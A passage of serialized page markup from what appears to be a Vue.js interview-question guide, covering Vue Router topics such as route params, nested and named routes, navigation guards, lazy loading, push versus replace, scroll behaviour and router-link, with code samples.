(",[132,13422,6075],{"class":697},[132,13424,5284],{"class":138},[132,13426,2662],{"class":209},[132,13428,316],{"class":138},[132,13430,13431],{"class":134,"line":257},[132,13432,13433],{"class":397},"    // re-fetch data because the component instance is reused\n",[132,13435,13436],{"class":134,"line":269},[132,13437,13438],{"class":397},"    // when only the param changes, not re-created\n",[132,13440,13441],{"class":134,"line":278},[132,13442,3156],{"class":138},[132,13444,13445,13447,13449],{"class":134,"line":284},[132,13446,179],{"class":138},[132,13448,198],{"class":142},[132,13450,146],{"class":138},[11,13452,13453,13454,13456,13457,13460,13461,13463,13464,13466,13467,13470],{},"The gotcha here is that navigating from ",[18,13455,13295],{}," to ",[18,13458,13459],{},"/users/2"," reuses the same component instance for efficiency, so plain ",[18,13462,10789],{}," fetch logic will not re-run automatically; you need to ",[18,13465,5029],{}," the param (or use the ",[18,13468,13469],{},"beforeRouteUpdate"," guard) to react to the change.",[34,13472,13474],{"id":13473},"_94-what-is-the-difference-between-route-params-and-query-strings","94. What is the difference between route params and query strings?",[479,13476,13477,13489],{},[482,13478,13479],{},[485,13480,13481,13483,13486],{},[488,13482],{},[488,13484,13485],{},"Route params",[488,13487,13488],{},"Query strings",[498,13490,13491,13509,13520,13535],{},[485,13492,13493,13496,13501],{},[503,13494,13495],{},"Location",[503,13497,13498,13499,3335],{},"Part of the path pattern (",[18,13500,13291],{},[503,13502,13503,13504,5454,13506,3335],{},"After the ",[18,13505,1349],{},[18,13507,13508],{},"/users?sort=asc",[485,13510,13511,13514,13517],{},[503,13512,13513],{},"Required to match",[503,13515,13516],{},"Yes, part of the route definition",[503,13518,13519],{},"No, always optional",[485,13521,13522,13525,13530],{},[503,13523,13524],{},"Access",[503,13526,13527],{},[18,13528,13529],{},"route.params.id",[503,13531,13532],{},[18,13533,13534],{},"route.query.sort",[485,13536,13537,13539,13542],{},[503,13538,6010],{},[503,13540,13541],{},"Identifying a specific resource",[503,13543,13544],{},"Filters, sorting, pagination, search state",[11,13546,13547,13548,13550,13551,13554],{},"Params define the shape of the route itself: if a route is declared as ",[18,13549,13291],{},", a URL without that segment simply will not match the route at all. Query strings sit on top of whatever route matched and carry optional, often changeable state, like ",[18,13552,13553],{},"?page=2&sort=name",", that does not affect which route/component is used, only how it behaves. A good rule of thumb: use a param for \"which resource,\" and a query string for \"how do you want it filtered or displayed.\"",[34,13556,13558],{"id":13557},"_95-what-are-nested-child-routes-and-when-would-you-use-them","95. What are nested (child) routes, and when would you use them?",[11,13560,13561,13562,13564,13565,13568],{},"Nested routes let a route render its own component while also rendering a child component inside a nested ",[18,13563,13220],{},", mirroring the way a URL like ",[18,13566,13567],{},"/user/1/profile"," is really \"a user page, with a profile section inside it.\"",[123,13570,13572],{"className":388,"code":13571,"language":390,"meta":128,"style":128},"const routes = [\n    {\n        path: '/user/:id',\n        component: User,\n        children: [\n            { path: '', component: UserHome },\n            { path: 'profile', component: UserProfile },\n            { path: 'posts', component: UserPosts }\n        ]\n    }\n]\n",[18,13573,13574,13584,13589,13599,13604,13609,13620,13630,13640,13645,13649],{"__ignoreMap":128},[132,13575,13576,13578,13580,13582],{"class":134,"line":135},[132,13577,230],{"class":209},[132,13579,13067],{"class":233},[132,13581,237],{"class":209},[132,13583,13072],{"class":138},[132,13585,13586],{"class":134,"line":149},[132,13587,13588],{"class":138},"    {\n",[132,13590,13591,13594,13597],{"class":134,"line":176},[132,13592,13593],{"class":138},"        path: ",[132,13595,13596],{"class":165},"'/user/:id'",[132,13598,2377],{"class":138},[132,13600,13601],{"class":134,"line":186},[132,13602,13603],{"class":138},"        component: User,\n",[132,13605,13606],{"class":134,"line":193},[132,13607,13608],{"class":138},"        children: [\n",[132,13610,13611,13614,13617],{"class":134,"line":206},[132,13612,13613],{"class":138},"            { path: ",[132,13615,13616],{"class":165},"''",[132,13618,13619],{"class":138},", component: UserHome },\n",[132,13621,13622,13624,13627],{"class":134,"line":222},[132,13623,13613],{"class":138},[132,13625,13626],{"class":165},"'profile'",[132,13628,13629],{"class":138},", component: UserProfile },\n",[132,13631,13632,13634,13637],{"class":134,"line":227},[132,13633,13613],{"class":138},[132,13635,13636],{"class":165},"'posts'",[132,13638,13639],{"class":138},", component: UserPosts }\n",[132,13641,13642],{"class":134,"line":252},[132,13643,13644],{"class":138},"        ]\n",[132,13646,13647],{"class":134,"line":257},[132,13648,870],{"class":138},[132,13650,13651],{"class":134,"line":269},[132,13652,8852],{"class":138},[123,13654,13656],{"className":125,"code":13655,"language":127,"meta":128,"style":128},"\u003C!-- User.vue -->\n\u003Ctemplate>\n    \u003Cdiv class=\"user\">\n        \u003Ch2>User {{ $route.params.id }}\u003C/h2>\n        \u003Cnav>\n            \u003Crouter-link :to=\"`/user/${$route.params.id}/profile`\">Profile\u003C/router-link>\n            \u003Crouter-link :to=\"`/user/${$route.params.id}/posts`\">Posts\u003C/router-link>\n        \u003C/nav>\n        \u003Crouter-view />\n    \u003C/div>\n\u003C/template>\n",[18,13657,13658,13663,13671,13685,13698,13707,13729,13749,13757,13766,13774],{"__ignoreMap":128},[132,13659,13660],{"class":134,"line":135},[132,13661,13662],{"class":397},"\u003C!-- User.vue -->\n",[132,13664,13665,13667,13669],{"class":134,"line":149},[132,13666,139],{"class":138},[132,13668,143],{"class":142},[132,13670,146],{"class":138},[132,13672,13673,13675,13677,13679,13681,13683],{"class":134,"line":176},[132,13674,152],{"class":138},[132,13676,1385],{"class":142},[132,13678,8169],{"class":158},[132,13680,162],{"class":138},[132,13682,9386],{"class":165},[132,13684,146],{"class":138},[132,13686,13687,13689,13691,13694,13696],{"class":134,"line":186},[132,13688,1489],{"class":138},[132,13690,29],{"class":142},[132,13692,13693],{"class":138},">User {{ $route.params.id }}\u003C/",[132,13695,29],{"class":142},[132,13697,146],{"class":138},[132,13699,13700,13702,13705],{"class":134,"line":193},[132,13701,1489],{"class":138},[132,13703,13704],{"class":142},"nav",[132,13706,146],{"class":138},[132,13708,13709,13711,13714,13717,13719,13722,13725,13727],{"class":134,"line":206},[132,13710,9376],{"class":138},[132,13712,13713],{"class":142},"router-link",[132,13715,13716],{"class":158}," :to",[132,13718,162],{"class":138},[132,13720,13721],{"class":165},"\"`/user/${$route.params.id}/profile`\"",[132,13723,13724],{"class":138},">Profile\u003C/",[132,13726,13713],{"class":142},[132,13728,146],{"class":138},[132,13730,13731,13733,13735,13737,13739,13742,13745,13747],{"class":134,"line":222},[132,13732,9376],{"class":138},[132,13734,13713],{"class":142},[132,13736,13716],{"class":158},[132,13738,162],{"class":138},[132,13740,13741],{"class":165},"\"`/user/${$route.params.id}/posts`\"",[132,13743,13744],{"class":138},">Posts\u003C/",[132,13746,13713],{"class":142},[132,13748,146],{"class":138},[132,13750,13751,13753,13755],{"class":134,"line":227},[132,13752,1519],{"class":138},[132,13754,13704],{"class":142},[132,13756,146],{"class":138},[132,13758,13759,13761,13764],{"class":134,"line":252},[132,13760,1489],{"class":138},[132,13762,13763],{"class":142},"router-view",[132,13765,1287],{"class":138},[132,13767,13768,13770,13772],{"class":134,"line":257},[132,13769,1528],{"class":138},[132,13771,1385],{"class":142},[132,13773,146],{"class":138},[132,13775,13776,13778,13780],{"class":134,"line":269},[132,13777,179],{"class":138},[132,13779,143],{"class":142},[132,13781,146],{"class":138},[11,13783,13784,13785,581,13788,626,13791,13794],{},"This is the right tool whenever a section of the UI (a sidebar, a set of tabs, a shared header) needs to stay on screen while only the inner content changes as the user navigates, like a settings page with ",[18,13786,13787],{},"/settings/account",[18,13789,13790],{},"/settings/billing",[18,13792,13793],{},"/settings/security"," all sharing the same page shell.",[34,13796,13798],{"id":13797},"_96-what-are-named-routes-and-named-views","96. What are named routes and named views?",[11,13800,13801,13802,13804],{},"A named route is a route with a ",[18,13803,3866],{}," property, which lets you navigate to it by name instead of hardcoding the path string. This is useful because paths change more often than names do, and it avoids fragile string concatenation for dynamic segments.",[123,13806,13808],{"className":388,"code":13807,"language":390,"meta":128,"style":128},"const routes = [\n    { path: '/user/:id', name: 'user', component: User }\n]\n",[18,13809,13810,13820,13834],{"__ignoreMap":128},[132,13811,13812,13814,13816,13818],{"class":134,"line":135},[132,13813,230],{"class":209},[132,13815,13067],{"class":233},[132,13817,237],{"class":209},[132,13819,13072],{"class":138},[132,13821,13822,13824,13826,13828,13831],{"class":134,"line":149},[132,13823,13077],{"class":138},[132,13825,13596],{"class":165},[132,13827,3846],{"class":138},[132,13829,13830],{"class":165},"'user'",[132,13832,13833],{"class":138},", component: User }\n",[132,13835,13836],{"class":134,"line":176},[132,13837,8852],{"class":138},[123,13839,13841],{"className":388,"code":13840,"language":390,"meta":128,"style":128},"router.push({ name: 'user', params: { id: 123 } })\n",[18,13842,13843],{"__ignoreMap":128},[132,13844,13845,13848,13850,13852,13854,13857,13860],{"class":134,"line":135},[132,13846,13847],{"class":138},"router.",[132,13849,3560],{"class":158},[132,13851,6189],{"class":138},[132,13853,13830],{"class":165},[132,13855,13856],{"class":138},", params: { id: ",[132,13858,13859],{"class":233},"123",[132,13861,4388],{"class":138},[11,13863,13864,13865,13868,13869,13872,13873,385],{},"A named view is different: it lets a single route render multiple components at once into multiple ",[18,13866,13867],{},"\u003Crouter-view>"," outlets, by giving the route a ",[18,13870,13871],{},"components"," object (plural) instead of a single ",[18,13874,1039],{},[123,13876,13878],{"className":388,"code":13877,"language":390,"meta":128,"style":128},"const routes = [\n    {\n        path: '/',\n        components: {\n            default: Home,\n            sidebar: Sidebar\n        }\n    }\n]\n",[18,13879,13880,13890,13894,13902,13907,13912,13917,13921,13925],{"__ignoreMap":128},[132,13881,13882,13884,13886,13888],{"class":134,"line":135},[132,13883,230],{"class":209},[132,13885,13067],{"class":233},[132,13887,237],{"class":209},[132,13889,13072],{"class":138},[132,13891,13892],{"class":134,"line":149},[132,13893,13588],{"class":138},[132,13895,13896,13898,13900],{"class":134,"line":176},[132,13897,13593],{"class":138},[132,13899,13080],{"class":165},[132,13901,2377],{"class":138},[132,13903,13904],{"class":134,"line":186},[132,13905,13906],{"class":138},"        components: {\n",[132,13908,13909],{"class":134,"line":193},[132,13910,13911],{"class":138},"            default: Home,\n",[132,13913,13914],{"class":134,"line":206},[132,13915,13916],{"class":138},"            sidebar: Sidebar\n",[132,13918,13919],{"class":134,"line":222},[132,13920,857],{"class":138},[132,13922,13923],{"class":134,"line":227},[132,13924,870],{"class":138},[132,13926,13927],{"class":134,"line":252},[132,13928,8852],{"class":138},[123,13930,13932],{"className":125,"code":13931,"language":127,"meta":128,"style":128},"\u003Crouter-view />\n\u003Crouter-view name=\"sidebar\" />\n",[18,13933,13934,13942],{"__ignoreMap":128},[132,13935,13936,13938,13940],{"class":134,"line":135},[132,13937,139],{"class":138},[132,13939,13763],{"class":142},[132,13941,1287],{"class":138},[132,13943,13944,13946,13948,13950,13952,13955],{"class":134,"line":149},[132,13945,139],{"class":138},[132,13947,13763],{"class":142},[132,13949,9161],{"class":158},[132,13951,162],{"class":138},[132,13953,13954],{"class":165},"\"sidebar\"",[132,13956,1287],{"class":138},[11,13958,13959],{},"Named views are typically used for layouts where more than one region of the page changes based on the route, like a main content area plus a contextual sidebar that both depend on which page is active.",[34,13961,13963,13964,581,13967,626,13970,1349],{"id":13962},"_97-what-are-navigation-guards-and-what-are-the-differences-between-beforeeach-beforeenter-and-beforerouteleave","97. What are navigation guards, and what are the differences between ",[18,13965,13966],{},"beforeEach",[18,13968,13969],{},"beforeEnter",[18,13971,13972],{},"beforeRouteLeave",[11,13974,13975],{},"Navigation guards are functions Vue Router calls during a navigation that can allow it, redirect it, or cancel it. They exist so you can gate access to routes (auth checks), warn about unsaved changes, or update page metadata before a route actually renders.",[11,13977,13978],{},[1268,13979],{"alt":13980,"src":13981},"Vue Router navigation guards order diagram","/post-images/top-150-vuejs-interview-questions/vue-router-navigation-guards-diagram.png",[11,13983,13984],{},"The three you asked about live at different scopes:",[56,13986,13987,13995,14007],{},[59,13988,13989,13994],{},[62,13990,13991],{},[18,13992,13993],{},"router.beforeEach"," is a global guard, registered once on the router instance. It runs on every single navigation in the app, regardless of which route is involved, which makes it the natural place for app-wide checks like \"is the user logged in.\"",[59,13996,13997,14001,14002,13456,14004,14006],{},[62,13998,13999],{},[18,14000,13969],{}," is a per-route guard, defined directly in that route's config. It only runs when navigating to that specific route, and it does not fire again on in-place param changes (going from ",[18,14003,13295],{},[18,14005,13459],{}," on the same route record does not re-trigger it, since that is an \"update,\" not a fresh \"entry\").",[59,14008,14009,14013,14014,14017,14018,14020],{},[62,14010,14011],{},[18,14012,13972],{}," is an in-component guard, defined inside the component being navigated away from (as a component option in the Options API, or via the ",[18,14015,14016],{},"onBeforeRouteLeave"," composable in ",[18,14019,20],{},"). It runs when the user is about to leave the route that renders this component, which makes it the right spot for \"you have unsaved changes, are you sure?\" prompts.",[123,14022,14024],{"className":388,"code":14023,"language":390,"meta":128,"style":128},"router.beforeEach((to, from) => {\n    if (to.meta.requiresAuth && !isLoggedIn()) {\n        return { name: 'login' }\n    }\n})\n",[18,14025,14026,14047,14066,14079,14083],{"__ignoreMap":128},[132,14027,14028,14030,14032,14034,14037,14039,14041,14043,14045],{"class":134,"line":135},[132,14029,13847],{"class":138},[132,14031,13966],{"class":158},[132,14033,6351],{"class":138},[132,14035,14036],{"class":697},"to",[132,14038,581],{"class":138},[132,14040,216],{"class":697},[132,14042,5284],{"class":138},[132,14044,2662],{"class":209},[132,14046,316],{"class":138},[132,14048,14049,14052,14055,14058,14060,14063],{"class":134,"line":149},[132,14050,14051],{"class":209},"    if",[132,14053,14054],{"class":138}," (to.meta.requiresAuth ",[132,14056,14057],{"class":209},"&&",[132,14059,2678],{"class":209},[132,14061,14062],{"class":158},"isLoggedIn",[132,14064,14065],{"class":138},"()) {\n",[132,14067,14068,14070,14073,14076],{"class":134,"line":176},[132,14069,862],{"class":209},[132,14071,14072],{"class":138}," { name: ",[132,14074,14075],{"class":165},"'login'",[132,14077,14078],{"class":138}," }\n",[132,14080,14081],{"class":134,"line":186},[132,14082,870],{"class":138},[132,14084,14085],{"class":134,"line":193},[132,14086,3156],{"class":138},[123,14088,14090],{"className":125,"code":14089,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nimport { onBeforeRouteLeave } from 'vue-router'\n\nonBeforeRouteLeave(() => {\n    const confirmed = window.confirm('Leave without saving changes?')\n    if (!confirmed) return false\n})\n\u003C/script>\n",[18,14091,14092,14102,14113,14117,14127,14148,14164,14168],{"__ignoreMap":128},[132,14093,14094,14096,14098,14100],{"class":134,"line":135},[132,14095,139],{"class":138},[132,14097,198],{"class":142},[132,14099,201],{"class":158},[132,14101,146],{"class":138},[132,14103,14104,14106,14109,14111],{"class":134,"line":149},[132,14105,210],{"class":209},[132,14107,14108],{"class":138}," { onBeforeRouteLeave } ",[132,14110,216],{"class":209},[132,14112,13032],{"class":165},[132,14114,14115],{"class":134,"line":176},[132,14116,190],{"emptyLinePlaceholder":189},[132,14118,14119,14121,14123,14125],{"class":134,"line":186},[132,14120,14016],{"class":158},[132,14122,2659],{"class":138},[132,14124,2662],{"class":209},[132,14126,316],{"class":138},[132,14128,14129,14131,14134,14136,14138,14141,14143,14146],{"class":134,"line":193},[132,14130,4242],{"class":209},[132,14132,14133],{"class":233}," confirmed",[132,14135,237],{"class":209},[132,14137,12796],{"class":138},[132,14139,14140],{"class":158},"confirm",[132,14142,243],{"class":138},[132,14144,14145],{"class":165},"'Leave without saving changes?'",[132,14147,249],{"class":138},[132,14149,14150,14152,14154,14156,14159,14161],{"class":134,"line":206},[132,14151,14051],{"class":209},[132,14153,5454],{"class":138},[132,14155,2576],{"class":209},[132,14157,14158],{"class":138},"confirmed) ",[132,14160,972],{"class":209},[132,14162,14163],{"class":233}," false\n",[132,14165,14166],{"class":134,"line":222},[132,14167,3156],{"class":138},[132,14169,14170,14172,14174],{"class":134,"line":227},[132,14171,179],{"class":138},[132,14173,198],{"class":142},[132,14175,146],{"class":138},[11,14177,14178],{},"The full resolution order, which is worth memorizing since it is commonly tested, is:",[14180,14181,14182,14185,14190,14196,14201,14206,14209,14215,14220,14223,14229,14232],"ol",{},[59,14183,14184],{},"Navigation is triggered.",[59,14186,14187,14189],{},[18,14188,13972],{}," guards run in components being deactivated.",[59,14191,14192,14193,14195],{},"Global ",[18,14194,13966],{}," guards run.",[59,14197,14198,14200],{},[18,14199,13469],{}," guards run in reused components (same component, changed params).",[59,14202,14203,14205],{},[18,14204,13969],{}," guards run for the route(s) being entered.",[59,14207,14208],{},"Async route components are resolved.",[59,14210,14211,14214],{},[18,14212,14213],{},"beforeRouteEnter"," guards run in components being activated.",[59,14216,14192,14217,14195],{},[18,14218,14219],{},"beforeResolve",[59,14221,14222],{},"The navigation is confirmed.",[59,14224,14192,14225,14228],{},[18,14226,14227],{},"afterEach"," hooks run.",[59,14230,14231],{},"The DOM updates.",[59,14233,14234,14235,12614,14238,14240],{},"Callbacks passed to ",[18,14236,14237],{},"next()",[18,14239,14213],{}," run, now with access to the mounted instance.",[34,14242,14244],{"id":14243},"_98-what-is-route-meta-information-used-for","98. What is route meta information used for?",[11,14246,14247,14250,14251,1334,14254,385],{},[18,14248,14249],{},"meta"," is an arbitrary object you attach to a route definition to store custom data that has nothing to do with matching the URL, but that guards, components, and navigation logic can read off ",[18,14252,14253],{},"to.meta",[18,14255,14256],{},"route.meta",[123,14258,14260],{"className":388,"code":14259,"language":390,"meta":128,"style":128},"const routes = [\n    {\n        path: '/admin',\n        component: Admin,\n        meta: { requiresAuth: true, title: 'Admin Dashboard' }\n    }\n]\n",[18,14261,14262,14272,14276,14285,14290,14305,14309],{"__ignoreMap":128},[132,14263,14264,14266,14268,14270],{"class":134,"line":135},[132,14265,230],{"class":209},[132,14267,13067],{"class":233},[132,14269,237],{"class":209},[132,14271,13072],{"class":138},[132,14273,14274],{"class":134,"line":149},[132,14275,13588],{"class":138},[132,14277,14278,14280,14283],{"class":134,"line":176},[132,14279,13593],{"class":138},[132,14281,14282],{"class":165},"'/admin'",[132,14284,2377],{"class":138},[132,14286,14287],{"class":134,"line":186},[132,14288,14289],{"class":138},"        component: Admin,\n",[132,14291,14292,14295,14297,14300,14303],{"class":134,"line":193},[132,14293,14294],{"class":138},"        meta: { requiresAuth: ",[132,14296,1853],{"class":233},[132,14298,14299],{"class":138},", title: ",[132,14301,14302],{"class":165},"'Admin Dashboard'",[132,14304,14078],{"class":138},[132,14306,14307],{"class":134,"line":206},[132,14308,870],{"class":138},[132,14310,14311],{"class":134,"line":222},[132,14312,8852],{"class":138},[123,14314,14316],{"className":388,"code":14315,"language":390,"meta":128,"style":128},"router.beforeEach((to) => {\n    document.title = to.meta.title || 'My App'\n    if (to.meta.requiresAuth && !isLoggedIn()) {\n        return { name: 'login' }\n    }\n})\n",[18,14317,14318,14334,14350,14364,14374,14378],{"__ignoreMap":128},[132,14319,14320,14322,14324,14326,14328,14330,14332],{"class":134,"line":135},[132,14321,13847],{"class":138},[132,14323,13966],{"class":158},[132,14325,6351],{"class":138},[132,14327,14036],{"class":697},[132,14329,5284],{"class":138},[132,14331,2662],{"class":209},[132,14333,316],{"class":138},[132,14335,14336,14339,14341,14344,14347],{"class":134,"line":149},[132,14337,14338],{"class":138},"    document.title ",[132,14340,162],{"class":209},[132,14342,14343],{"class":138}," to.meta.title ",[132,14345,14346],{"class":209},"||",[132,14348,14349],{"class":165}," 'My App'\n",[132,14351,14352,14354,14356,14358,14360,14362],{"class":134,"line":176},[132,14353,14051],{"class":209},[132,14355,14054],{"class":138},[132,14357,14057],{"class":209},[132,14359,2678],{"class":209},[132,14361,14062],{"class":158},[132,14363,14065],{"class":138},[132,14365,14366,14368,14370,14372],{"class":134,"line":186},[132,14367,862],{"class":209},[132,14369,14072],{"class":138},[132,14371,14075],{"class":165},[132,14373,14078],{"class":138},[132,14375,14376],{"class":134,"line":193},[132,14377,870],{"class":138},[132,14379,14380],{"class":134,"line":206},[132,14381,3156],{"class":138},[11,14383,14384,14385,14387],{},"Common uses are marking routes as requiring authentication or a specific role, picking which layout component to wrap a page in, setting the page title or breadcrumb label, and flagging routes that should be excluded from analytics or a sitemap. Because ",[18,14386,14249],{}," is inherited by nested routes (child route meta merges with parent meta), it is also a convenient way to apply a rule, like \"requires auth,\" to an entire section of the app at once by setting it once on the parent route.",[34,14389,14391],{"id":14390},"_99-how-do-you-lazy-load-a-routes-component","99. How do you lazy load a route's component?",[11,14393,14394,14395,14398],{},"Instead of importing a route's component normally at the top of the file, you give the route a function that returns a dynamic ",[18,14396,14397],{},"import()",". Build tools like Vite or webpack recognize this pattern and automatically split that component into its own chunk, which is only downloaded when the user actually navigates to that route.",[123,14400,14402],{"className":388,"code":14401,"language":390,"meta":128,"style":128},"const routes = [\n    {\n        path: '/about',\n        component: () => import('./views/About.vue')\n    },\n    {\n        path: '/dashboard',\n        component: () => import('./views/Dashboard.vue')\n    }\n]\n",[18,14403,14404,14414,14418,14426,14445,14449,14453,14462,14479,14483],{"__ignoreMap":128},[132,14405,14406,14408,14410,14412],{"class":134,"line":135},[132,14407,230],{"class":209},[132,14409,13067],{"class":233},[132,14411,237],{"class":209},[132,14413,13072],{"class":138},[132,14415,14416],{"class":134,"line":149},[132,14417,13588],{"class":138},[132,14419,14420,14422,14424],{"class":134,"line":176},[132,14421,13593],{"class":138},[132,14423,13090],{"class":165},[132,14425,2377],{"class":138},[132,14427,14428,14431,14433,14435,14438,14440,14443],{"class":134,"line":186},[132,14429,14430],{"class":158},"        component",[132,14432,7020],{"class":138},[132,14434,2662],{"class":209},[132,14436,14437],{"class":209}," import",[132,14439,243],{"class":138},[132,14441,14442],{"class":165},"'./views/About.vue'",[132,14444,249],{"class":138},[132,14446,14447],{"class":134,"line":193},[132,14448,5830],{"class":138},[132,14450,14451],{"class":134,"line":206},[132,14452,13588],{"class":138},[132,14454,14455,14457,14460],{"class":134,"line":222},[132,14456,13593],{"class":138},[132,14458,14459],{"class":165},"'/dashboard'",[132,14461,2377],{"class":138},[132,14463,14464,14466,14468,14470,14472,14474,14477],{"class":134,"line":227},[132,14465,14430],{"class":158},[132,14467,7020],{"class":138},[132,14469,2662],{"class":209},[132,14471,14437],{"class":209},[132,14473,243],{"class":138},[132,14475,14476],{"class":165},"'./views/Dashboard.vue'",[132,14478,249],{"class":138},[132,14480,14481],{"class":134,"line":252},[132,14482,870],{"class":138},[132,14484,14485],{"class":134,"line":257},[132,14486,8852],{"class":138},[11,14488,14489],{},"This keeps the initial JavaScript bundle small, since a visitor landing on the home page does not need to download the code for the admin dashboard or a rarely visited settings page until they actually go there. It is one of the easiest performance wins in a Vue app and is recommended for any route that is not part of the critical first-load path.",[34,14491,14493,14494,592,14497,1349],{"id":14492},"_100-what-is-the-difference-between-routerpush-and-routerreplace","100. What is the difference between ",[18,14495,14496],{},"router.push",[18,14498,14499],{},"router.replace",[11,14501,14502,14503,14506],{},"Both methods navigate programmatically to a new route, and both accept the same arguments (a path string or a location object like ",[18,14504,14505],{},"{ name: 'user', params: { id: 1 } }","), but they treat browser history differently.",[11,14508,14509,14512,14513,14516],{},[18,14510,14511],{},"router.push()"," adds a new entry to the history stack, so the browser's back button takes the user to the route they were on before. ",[18,14514,14515],{},"router.replace()"," swaps out the current history entry instead of adding a new one, so the back button skips over it entirely, as if that navigation never happened.",[11,14518,14519,14522,14523,13456,14526,14529,14530,14532,14533,14535],{},[18,14520,14521],{},"replace"," is the right choice for redirects (sending an unauthenticated user from ",[18,14524,14525],{},"/dashboard",[18,14527,14528],{},"/login"," should not leave ",[18,14531,14525],{}," sitting in history for the back button to return to), for login flows, and for any multi-step wizard step you do not want the user landing back on by accident. ",[18,14534,3560],{}," is the default for normal navigation, like clicking a link to a different page, where going back is expected to work.",[34,14537,14539],{"id":14538},"_101-how-does-vue-router-control-scroll-position-when-navigating-between-routes","101. How does Vue Router control scroll position when navigating between routes?",[11,14541,14542,14543,14546,14547,14549],{},"By default, a single-page app does not reset scroll position when the route changes, since there is no real page load. Vue Router exposes a ",[18,14544,14545],{},"scrollBehavior"," function, passed as an option to ",[18,14548,13009],{},", to control this explicitly.",[123,14551,14553],{"className":388,"code":14552,"language":390,"meta":128,"style":128},"const router = createRouter({\n    history: createWebHistory(),\n    routes,\n    scrollBehavior(to, from, savedPosition) {\n        if (savedPosition) {\n            return savedPosition\n        }\n        if (to.hash) {\n            return { el: to.hash }\n        }\n        return { top: 0 }\n    }\n})\n",[18,14554,14555,14567,14575,14580,14600,14608,14616,14620,14627,14634,14638,14649,14653],{"__ignoreMap":128},[132,14556,14557,14559,14561,14563,14565],{"class":134,"line":135},[132,14558,230],{"class":209},[132,14560,13108],{"class":233},[132,14562,237],{"class":209},[132,14564,13113],{"class":158},[132,14566,4542],{"class":138},[132,14568,14569,14571,14573],{"class":134,"line":149},[132,14570,13120],{"class":138},[132,14572,13123],{"class":158},[132,14574,13126],{"class":138},[132,14576,14577],{"class":134,"line":176},[132,14578,14579],{"class":138},"    routes,\n",[132,14581,14582,14585,14587,14589,14591,14593,14595,14598],{"class":134,"line":186},[132,14583,14584],{"class":158},"    scrollBehavior",[132,14586,243],{"class":138},[132,14588,14036],{"class":697},[132,14590,581],{"class":138},[132,14592,216],{"class":697},[132,14594,581],{"class":138},[132,14596,14597],{"class":697},"savedPosition",[132,14599,701],{"class":138},[132,14601,14602,14605],{"class":134,"line":193},[132,14603,14604],{"class":209},"        if",[132,14606,14607],{"class":138}," (savedPosition) {\n",[132,14609,14610,14613],{"class":134,"line":206},[132,14611,14612],{"class":209},"            return",[132,14614,14615],{"class":138}," savedPosition\n",[132,14617,14618],{"class":134,"line":222},[132,14619,857],{"class":138},[132,14621,14622,14624],{"class":134,"line":227},[132,14623,14604],{"class":209},[132,14625,14626],{"class":138}," (to.hash) {\n",[132,14628,14629,14631],{"class":134,"line":252},[132,14630,14612],{"class":209},[132,14632,14633],{"class":138}," { el: to.hash }\n",[132,14635,14636],{"class":134,"line":257},[132,14637,857],{"class":138},[132,14639,14640,14642,14645,14647],{"class":134,"line":269},[132,14641,862],{"class":209},[132,14643,14644],{"class":138}," { top: ",[132,14646,246],{"class":233},[132,14648,14078],{"class":138},[132,14650,14651],{"class":134,"line":278},[132,14652,870],{"class":138},[132,14654,14655],{"class":134,"line":284},[132,14656,3156],{"class":138},[11,14658,14659,14660,14662,14663,14666,14667,14670,14671,14673],{},"The function receives the target route, the route being left, and ",[18,14661,14597],{},", which is populated only when the navigation was triggered by the browser's back/forward buttons, letting you restore exactly where the user was, similar to native browser scroll restoration. Returning ",[18,14664,14665],{},"{ top: 0 }"," resets scroll to the top for a normal forward navigation, returning ",[18,14668,14669],{},"{ el: '#some-id' }"," scrolls to an anchor (useful for in-page hash links), and returning ",[18,14672,4614],{}," or nothing leaves scroll position untouched. The function can also return a Promise, which is handy for waiting on a page transition to finish before scrolling.",[34,14675,14677,14678,14681,14682,14685],{"id":14676},"_102-what-is-the-difference-between-router-link-and-a-plain-a-tag","102. What is the difference between ",[18,14679,14680],{},"\u003Crouter-link>"," and a plain ",[18,14683,14684],{},"\u003Ca>"," tag?",[11,14687,14688,14690,14691,14693],{},[18,14689,14680],{}," is Vue Router's component for internal navigation. It renders to an ",[18,14692,14684],{}," tag under the hood, but it intercepts the click and performs the route change client-side through the router, instead of letting the browser make a full request for a new document. That means no full page reload, no re-downloading the app's JavaScript, and the component state elsewhere on the page stays intact.",[123,14695,14697],{"className":125,"code":14696,"language":127,"meta":128,"style":128},"\u003Crouter-link to=\"/about\">About\u003C/router-link>\n\u003Crouter-link :to=\"{ name: 'user', params: { id: 1 } }\">User\u003C/router-link>\n",[18,14698,14699,14720],{"__ignoreMap":128},[132,14700,14701,14703,14705,14708,14710,14713,14716,14718],{"class":134,"line":135},[132,14702,139],{"class":138},[132,14704,13713],{"class":142},[132,14706,14707],{"class":158}," to",[132,14709,162],{"class":138},[132,14711,14712],{"class":165},"\"/about\"",[132,14714,14715],{"class":138},">About\u003C/",[132,14717,13713],{"class":142},[132,14719,146],{"class":138},[132,14721,14722,14724,14726,14728,14730,14732,14734,14737,14739,14741,14743,14746,14748,14751,14753],{"class":134,"line":149},[132,14723,139],{"class":138},[132,14725,13713],{"class":142},[132,14727,1611],{"class":138},[132,14729,14036],{"class":158},[132,14731,162],{"class":138},[132,14733,1597],{"class":165},[132,14735,14736],{"class":138},"{ name: ",[132,14738,13830],{"class":165},[132,14740,13856],{"class":138},[132,14742,1567],{"class":233},[132,14744,14745],{"class":138}," } }",[132,14747,1597],{"class":165},[132,14749,14750],{"class":138},">User\u003C/",[132,14752,13713],{"class":142},[132,14754,146],{"class":138},[11,14756,14757,14758,14760,14761,592,14764,14767],{},"It also adds a few conveniences a plain ",[18,14759,14684],{}," does not have: it automatically applies ",[18,14762,14763],{},"router-link-active",[18,14765,14766],{},"router-link-exact-active"," classes when its target matches the current route, which is handy for styling nav links as \"current page\" without writing that logic yourself, and it still behaves correctly for modifier-key clicks (ctrl/cmd-click still opens the link in a new tab, since router-link does not hijack those).",[11,14769,14770,14771,14774,14775,14778,14779,14781,14782,14784],{},"A plain ",[18,14772,14773],{},"\u003Ca href=\"/about\">"," pointing at an internal route would trigger a real browser navigation, a full document request and reload, unless you manually call ",[18,14776,14777],{},"preventDefault"," and push the route yourself. For internal links within a Vue Router app, ",[18,14780,14680],{}," is the correct choice; a plain ",[18,14783,14684],{}," is still exactly right for external URLs.",[29,14786,14788],{"id":14787},"state-management-pinia-and-vuex","State Management: Pinia and Vuex",[34,14790,14792],{"id":14791},"_103-what-problem-does-a-centralized-state-management-library-solve-that-props-and-provideinject-do-not","103. What problem does a centralized state management library solve that props and provide/inject do not?",[11,14794,14795,14796,4319,14798,14800],{},"Props work well when data flows in one direction from a parent to its direct children, but once a piece 